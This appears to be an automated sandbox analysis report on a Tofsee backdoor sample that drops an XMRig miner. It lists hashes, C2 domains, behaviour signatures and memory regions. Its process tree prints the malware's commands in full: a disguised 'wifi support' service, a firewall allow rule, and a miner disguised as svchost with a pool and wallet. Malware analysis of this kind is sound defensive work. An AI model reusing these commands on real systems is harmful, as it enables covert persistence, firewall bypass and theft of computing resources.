Analysis

  • max time kernel
    147s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    11/10/2023, 08:26

General

  • Target

    67a4c57e1141be6c84787dad422d19dd0193b0ecf5d7771c496b128226420ee7_JC.exe

  • Size

    242KB

  • MD5

    d7397119dbb60e42850f5db8c0d3cc16

  • SHA1

    e9aade2f2c626f3d3b2252c3de72c63ef53b2c2f

  • SHA256

    67a4c57e1141be6c84787dad422d19dd0193b0ecf5d7771c496b128226420ee7

  • SHA512

    5e90b23cc1dd4c1388a3985e97cfe73c2d2e4f143f3a244e3c447b08b10a1ac1f29c37c6283d8aa1e42bbb026baa93f24e6f87a943818d9feb4c311c20ff095e

  • SSDEEP

    3072:fWC+t9BtK2qqscMrhAtzkPK8BZ3R0m/2PmOo9dBn5cp281TWO:fJMTK+szrhAxB+ZOme6Qp91Tj

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\67a4c57e1141be6c84787dad422d19dd0193b0ecf5d7771c496b128226420ee7_JC.exe
    "C:\Users\Admin\AppData\Local\Temp\67a4c57e1141be6c84787dad422d19dd0193b0ecf5d7771c496b128226420ee7_JC.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2576
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\qxypcjvk\
      2⤵
        PID:3060
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\qxehwkdn.exe" C:\Windows\SysWOW64\qxypcjvk\
        2⤵
          PID:2716
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create qxypcjvk binPath= "C:\Windows\SysWOW64\qxypcjvk\qxehwkdn.exe /d\"C:\Users\Admin\AppData\Local\Temp\67a4c57e1141be6c84787dad422d19dd0193b0ecf5d7771c496b128226420ee7_JC.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2648
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description qxypcjvk "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2704
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start qxypcjvk
          2⤵
          • Launches sc.exe
          PID:3024
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2660
      • C:\Windows\SysWOW64\qxypcjvk\qxehwkdn.exe
        C:\Windows\SysWOW64\qxypcjvk\qxehwkdn.exe /d"C:\Users\Admin\AppData\Local\Temp\67a4c57e1141be6c84787dad422d19dd0193b0ecf5d7771c496b128226420ee7_JC.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2532
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2512
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1604

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\qxehwkdn.exe

        Filesize

        10.3MB

        MD5

        fb1a27585a1214aca9e8c55f2508a35d

        SHA1

        2665da2d976edf2c99040b339f45a37b7b45ea45

        SHA256

        767b4b630c1e476ea9a0ad39d8b5f6693a49e656cc31154811ba5a5e9ba586e7

        SHA512

        2ec660c4b981b10a2f95e657f9bd62a10664400b61fcead9e60e1ac81d9cbe7e013458967c97f25b618ff53002d6a15b776e1a104cf896e6427ca7a5ab4c339a

      • C:\Windows\SysWOW64\qxypcjvk\qxehwkdn.exe

        Filesize

        10.3MB

        MD5

        fb1a27585a1214aca9e8c55f2508a35d

        SHA1

        2665da2d976edf2c99040b339f45a37b7b45ea45

        SHA256

        767b4b630c1e476ea9a0ad39d8b5f6693a49e656cc31154811ba5a5e9ba586e7

        SHA512

        2ec660c4b981b10a2f95e657f9bd62a10664400b61fcead9e60e1ac81d9cbe7e013458967c97f25b618ff53002d6a15b776e1a104cf896e6427ca7a5ab4c339a

      • memory/1604-61-0x0000000000190000-0x0000000000281000-memory.dmp

        Filesize

        964KB

      • memory/1604-73-0x0000000000190000-0x0000000000281000-memory.dmp

        Filesize

        964KB

      • memory/1604-76-0x0000000000190000-0x0000000000281000-memory.dmp

        Filesize

        964KB

      • memory/1604-74-0x0000000000190000-0x0000000000281000-memory.dmp

        Filesize

        964KB

      • memory/1604-75-0x0000000000190000-0x0000000000281000-memory.dmp

        Filesize

        964KB

      • memory/1604-72-0x0000000000190000-0x0000000000281000-memory.dmp

        Filesize

        964KB

      • memory/1604-71-0x0000000000190000-0x0000000000281000-memory.dmp

        Filesize

        964KB

      • memory/1604-70-0x0000000000190000-0x0000000000281000-memory.dmp

        Filesize

        964KB

      • memory/1604-62-0x0000000000190000-0x0000000000281000-memory.dmp

        Filesize

        964KB

      • memory/2512-37-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2512-43-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2512-18-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2512-17-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2512-19-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2512-21-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2512-22-0x0000000001860000-0x0000000001A6F000-memory.dmp

        Filesize

        2.1MB

      • memory/2512-25-0x0000000001860000-0x0000000001A6F000-memory.dmp

        Filesize

        2.1MB

      • memory/2512-26-0x00000000000A0000-0x00000000000A6000-memory.dmp

        Filesize

        24KB

      • memory/2512-29-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2512-32-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2512-33-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2512-34-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2512-35-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2512-36-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2512-11-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/2512-39-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2512-38-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2512-40-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2512-41-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2512-42-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2512-13-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2512-44-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2512-45-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2512-46-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2512-47-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2512-48-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2512-49-0x0000000000150000-0x0000000000155000-memory.dmp

        Filesize

        20KB

      • memory/2512-52-0x0000000000150000-0x0000000000155000-memory.dmp

        Filesize

        20KB

      • memory/2512-53-0x0000000005480000-0x000000000588B000-memory.dmp

        Filesize

        4.0MB

      • memory/2512-57-0x0000000000250000-0x0000000000257000-memory.dmp

        Filesize

        28KB

      • memory/2512-56-0x0000000005480000-0x000000000588B000-memory.dmp

        Filesize

        4.0MB

      • memory/2512-10-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2532-16-0x0000000000400000-0x000000000044A000-memory.dmp

        Filesize

        296KB

      • memory/2532-9-0x0000000000400000-0x000000000044A000-memory.dmp

        Filesize

        296KB

      • memory/2576-0-0x0000000000220000-0x0000000000235000-memory.dmp

        Filesize

        84KB

      • memory/2576-7-0x0000000000220000-0x0000000000235000-memory.dmp

        Filesize

        84KB

      • memory/2576-6-0x0000000000240000-0x0000000000253000-memory.dmp

        Filesize

        76KB

      • memory/2576-5-0x0000000000400000-0x000000000044A000-memory.dmp

        Filesize

        296KB

      • memory/2576-2-0x0000000000400000-0x000000000044A000-memory.dmp

        Filesize

        296KB

      • memory/2576-1-0x0000000000240000-0x0000000000253000-memory.dmp

        Filesize

        76KB